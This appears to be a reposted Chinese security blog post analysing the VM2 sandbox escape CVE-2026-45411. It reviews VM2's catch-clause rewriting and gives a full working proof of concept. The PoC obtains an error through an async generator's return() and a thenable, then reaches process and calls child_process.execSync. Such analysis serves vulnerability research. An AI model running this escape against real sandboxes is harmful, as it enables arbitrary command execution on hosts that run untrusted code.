文章总结: 文档分析了VM2沙箱最新绕过漏洞CVE-2026-45411的原理,通过异步迭代器和异常处理机制绕过VM2的AST检测,利用V8引擎底层特性实现沙箱逃逸。关键发现包括通过非catch方式获取Error对象、利用异步生成器的return方法触发异常处理流程,最终通过构造函数链获取process对象执行系统命令。该漏洞揭示VM2在非传统异常处理路径上的防御缺陷。 综合评分: 87 文章分类: 漏洞分析,WEB安全,代码审计,安全工具,二进制安全
当异常绕过handleException:最新VM2沙箱绕过 CVE-2026-45411 原理分析
原创
YMsora YMsora
YMs0ra的安全漫路
2026年5月14日 22:31 浙江
在小说阅读器读本章
去阅读
很新的重磅CVE,VM2利用底层的V8进行的沙箱逃逸
为此,clone了一份[email protected]的源码
入口是
run(code, options) {
let script;
let filename;
if (typeof options === 'object') {
filename = options.filename;
} else {
filename = options;
}
if (code instanceof VMScript) {
script = code._compileVM();
checkAsync(this._allowAsync || !code._hasAsync);
} else {
const useFileName = filename || 'vm.js';
let scriptCode = this._compiler(code, useFileName);
const ret = transformer(null, scriptCode, false, false, useFileName);
scriptCode = ret.code;
checkAsync(this._allowAsync || !ret.hasAsync);
// Compile the script here so that we don't need to create a instance of VMScript.
script = new Script(scriptCode, {
__proto__: null,
filename: useFileName,
displayErrors: false,
});
}
可以看到核心校验在const ret = transformer(null, scriptCode, false, false, useFileName);
code被传入了transformer,
可以看到最上面就导入了const {full: acornWalkFull} = require(‘acorn-walk’);
AST的语法扫描库,动态扫描AST的每一个节点,那看看是怎么进行判断的
acornWalkFull(ast, (node, state, type) => {
if (type === 'Function') {
if (node.async) hasAsync = true;
}
const nodeType = node.type;
if (nodeType === 'CatchClause') {
const param = node.param;
if (param) {
if (param.type === 'Identifier') {
const name = assertType(param, 'Identifier').name;
const cBody = assertType(node.body, 'BlockStatement');
if (cBody.body.length > 0) {
insertions.push({
__proto__: null,
pos: cBody.body[0].start,
order: TO_LEFT,
coder: () => `${name}=${INTERNAL_STATE_NAME}.handleException(${name});`
});
}
} else {
insertions.push({
__proto__: null,
pos: node.start,
order: TO_RIGHT,
coder: () => `catch(${tmpname}){${tmpname}=${INTERNAL_STATE_NAME}.handleException(${tmpname});try{throw ${tmpname};}`
});
insertions.push({
__proto__: null,
pos: node.body.end,
order: TO_LEFT,
coder: () => `}`
});
}
}
当传入的代码有catch error时
为了防止拿到constructor的function方法,这里对于AST树做了push, 改写 catch,
让异常先过 handleException ,当然,promise在bridge.js也做了hook,
在VM2表面的源码来看仿佛是没什么可能性了,
在Promise和异常被ban的情况下,这个CVE揭示了一些新的方向思考
nodejs,以及chrome内核原始的js都是依赖于V8的实现,
这个引擎是C为底层实现的
难点在于我们如何不通过上述的两种方式以调用异常
catch不行,new一个error类也不行,因为类已经经过了净化,这里就可以调用非catch和promise
的方法去获取error对象,请看
class E extends Error {}
function so(d) {
if (d > 0) so(d - 1);
const e = new E();
e.stack;
throw e;
}
这里传入的d可以是两种结果,当然,
这是尚未经过catch的e
async function* helper() {
yield* {
[Symbol.asyncIterator]: () => ({
next: v => ({ value: v, done: false })
})
};
}
async function doCatch(f) {
const i = helper();
await i.next();
const v = await i.return({
then(r) {
f();
r();
}
});
return v.value;
}
(async function f() {
let min = 0;
let max = 10000000;
while (min < max) {
const mid = (min + max) >> 1;
const e = await doCatch(() => so(mid));
if (e.name === "RangeError" && !(e instanceof RangeError)) {
const process = e.constructor.constructor("return process")();
const cp = process.mainModule.require("child_process");
const cmd = process.platform === "win32"
? "cmd /c echo pwned>pwned.txt"
: "touch pwned";
cp.execSync(cmd);
return "escaped";
}
if (e instanceof E) {
min = mid + 1;
} else {
max = mid;
}
}
return "not triggered";
})();
so只有两个结果,一个是爆栈,另一个就是抛RangeError.
helper是异步迭代生成器,当一个对象要想有异步迭代iterator
就要有Symbol.asyncIterator
在 const e = await doCatch(() => so(mid));时候doCatch可能会收到RangeError,
然后i.return尝试关闭 generator,并处理传入的 thenable
i.return({
then(r) {
f();
r();
}
});
这其中是有then方法的,V8会默认调用,then里会执行so(mid),这里可能会抛出的RangeError就会被通过
V8默认调用的方法跑完这个流程,并且赋值给e,
这时已经完成了对VM2的绕过,这里并未利用catch和promise等等方法,拿到e后,
const process = e.constructor.constructor(“return process”)();
至此终了了
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:YMs0ra的安全漫路 YMsora YMsora《当异常绕过handleException:最新VM2沙箱绕过 CVE-2026-45411 原理分析》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论